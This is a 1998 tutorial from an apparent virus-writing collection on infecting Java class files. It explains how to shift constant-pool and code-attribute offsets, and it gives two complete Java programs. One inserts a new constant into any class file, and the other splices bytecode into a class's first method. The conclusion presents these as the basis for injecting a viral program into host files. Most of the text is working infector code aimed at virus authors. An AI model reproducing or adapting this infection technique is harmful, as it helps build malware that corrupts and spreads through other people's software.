introduction
Now that we have seen
how to modify a java class file, it is time to delve into some java code.
The class that will be used in the following examples is the java.io.RandomAccessFile
class. The interface for this class is included with the jdk documentation.
If you have programmed
in a higher level language before and are at least moderately proficient
with assembly language, it will be obvious how we may go about infecting
a java class file. Since this is not aimed at those who can already write
viruses in java (hello? if you can then why am I writing this?) I will
point out the most basic steps in infecting a class file.
Firstly it is important
to realise that executable code in java is reliant upon two things, the
code itself which lives in a code_attribute field and the constant_pool
which starts ten bytes from the beginning of the file. It is apparent from
the previous examples that if we want to insert viral code into a file
we can do this relatively easily by just modifiying a few fields here and
there. However, trouble occurs when we need our code to be inserted into
any file with varying numbers of constants in their constant_pool. This
can be easily overcome by allowing for changing offsets in our code.
For example, if we are
inserting a PrintStream() method which calls a string constant at position
constant_pool[y], we must modify the PrintStream() method to use the string
at constant_pool[y+constant_pool_length]. We must also modify the calling
code (since the method name resides in the constant_pool) such that instead
of calling the PrintStream() method with invoke_virtual constant_pool[z]
it calls constant_pool[z+constant_pool_length]. (Ed:
later on you will see that we must decrement the constant_pool_length by
one for it all to work this is because the constant_pool[0] is reserved
for the virtual machine and does not appear in the class file)
For the following examples,
the positions where these modifications are inserted have been calculated
by hand. The greater problem of creating constant_pools and code_attributes
which are self-modifying without going through by hand is tackled further
on.
analysis
example #1
// =============================================
// Title: InsertConstant.java
// Author: Landing Camel
International
// Date:
June 1998
// Notes:
// This example will
write a new string constant
// to the end of the
constant_pool of any java
// class file.
The new entry as a hexadecimal
// number is:
//
0x01000D4C616E64696E672043616D656C
//
CONST_String
Landing Camel
// =============================================
import java.io.*;
public class InsertConstant
{
public static void main(String
argv[])
throws IOException {
//number of new
constants in the class file
int const_count
= 1;
//this is the
constant to be inserted
int old_consts[]
= {0x01,
0x00,
0x0D,
0x4C,
0x61,
0x6E,
0x64,
0x69,
0x6E,
0x67,
0x20,
0x43,
0x61,
0x6D,
0x65,
0x6C};
//change the constant
into an array of bytes
byte[] new_consts
= new
byte[old_consts.length];
for (int i=0;
i < old_consts.length; i++) {
new_consts[i] = (byte)old_consts[i];
}
//check that we
have a file on the command line
if ((argv.length
== 0) ||
(!argv[0].endsWith(".class"))) {
System.out.println("Usage: java
InsertConstant file.class");
System.exit(1);
}
//create an instance
of the file
RandomAccessFile
file = new
RandomAccessFile(argv[0],"rw");
//read in the
current constant_count
int fpointer
= 8;
file.seek(fpointer);
int cp_entries
= file.readUnsignedShort();
//write new constant_count
file.seek(fpointer);
file.writeShort(cp_entries+const_count);
//seek to the
start of the const_pool
fpointer += 2;
file.seek(fpointer);
//iterate through
const_pool
//remember that
doubles and longs count as two
for (int i =
1; i < cp_entries; i++) {
int tag = file.readUnsignedByte();
fpointer++;
int skipper = 0;
switch (tag) {
case 7:
case 8: fpointer += 2;
break;
case 3:
case 4:
case 9:
case 10:
case 11:
case 12: fpointer = fpointer + 4;
break;
case 5:
case 6: fpointer = fpointer + 8;
i++;
break;
case 1: skipper = file.readUnsignedShort();
fpointer = fpointer + skipper + 2;
break;
}
file.seek(fpointer);
}
//save the end
of the file
int offset =
(int)file.length() - fpointer;
byte[] end =
new byte[offset];
file.read(end,
0, offset);
//append our new
constant
file.seek(fpointer);
file.write(new_consts);
//restore tail
of file
file.write(end);
//close file
file.close();
}
}
example #2
// =============================================
// Title: InsertCode.java
// Author: Landing Camel
International
// Date:
June 1998
// Notes:
// This example inserts
new executable code into
// any java class file.
It inserts ten NOP
// instructions which
have the hex value 0x00,
// into the first method
attribute of the class
// file.
// =============================================
import java.io.*;
public class InsertCode
{
public static void
main(String argv[])
throws IOException {
//length of the
new code to be inserted
int code_length
= 10;
//this is the
actual to be inserted
int old_code[]
= {0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,};
//change the constant
into an array of bytes
byte[] new_code
= new byte[old_code.length];
for (int i=0;
i < old_code.length; i++) {
new_code[i] = (byte)old_code[i];
}
if ((argv.length
== 0) ||
(!argv[0].endsWith(".class"))) {
System.out.println("Usage: java InsertCode
file.class");
System.exit(1);
}
RandomAccessFile
file = new
RandomAccessFile(argv[0],"rw");
//read in const_count
int fpointer
= 8;
file.seek(fpointer);
int cp_entries
= file.readUnsignedShort();
//seek to the
start of the const_pool
fpointer += 2;
file.seek(fpointer);
//iterate through
const_pool
for (int i =
1; i < cp_entries; i++) {
int tag = file.readUnsignedByte();
fpointer++;
int skipper = 0;
switch (tag) {
case 7:
case 8: fpointer += 2;
break;
case 3:
case 4:
case 9:
case 10:
case 11:
case 12: fpointer = fpointer + 4;
break;
case 5:
case 6: fpointer = fpointer + 8;
i++;
break;
case 1: skipper = file.readUnsignedShort();
fpointer = fpointer + skipper + 2;
break;
}
file.seek(fpointer);
}
//read in the
number of interfaces
fpointer += 6;
file.seek(fpointer);
int num_interfaces
= file.readUnsignedShort();
//iterate through
the interface information
fpointer = fpointer
+ 2*(num_interfaces) + 2;
file.seek(fpointer);
//read in the
number of fields
int num_fields
= file.readUnsignedShort();
fpointer += 2;
file.seek(fpointer);
//iterate through
the fields
for (int j=0;
j<num_fields; j++) {
//skip to
the attribute_count
fpointer
+= 6;
file.seek(fpointer);
int num_f_attributes
=
file.readUnsignedShort();
//iterate
through atribute_info
fpointer
= fpointer+ 8*(num_f_attributes) + 2;
file.seek(fpointer);
}
//read the number
of methods
int num_methods
= file.readUnsignedShort();
//read the number
of method_attributes
fpointer += 8;
file.seek(fpointer);
int num_m_attributes
=
file.readUnsignedShort();
//read in current
attribute_length
fpointer += 4;
file.seek(fpointer);
int attribute_length
= file.readInt();
//write new attribute_length
file.seek(fpointer);
file.writeInt(attribute_length
+ code_length);
//read in current
code_length
fpointer += 8;
file.seek(fpointer);
int old_code_length
= file.readInt();
//write new code_length
file.seek(fpointer);
file.writeInt(old_code_length
+ code_length);
fpointer += 4;
file.seek(fpointer);
//save the end
of the file
int offset =
(int)file.length() - fpointer;
byte[] end =
new byte[offset];
file.read(end,
0, offset);
//append our new
code to the end of the file
file.seek(fpointer);
file.write(new_code);
//restore tail
of file
file.write(end);
//close file
file.close();
}
}
conclusion
The source code for the
two above examples are included with this distribution as wells as a combination
of these two examples. From these examples we can clearly see how we can
infect a file. We just have to be able to extract the hexadecimal code
for the constant_pool and the code_attribute from a viral program we have
written and adjust them to account for changing offsets in the host class
file.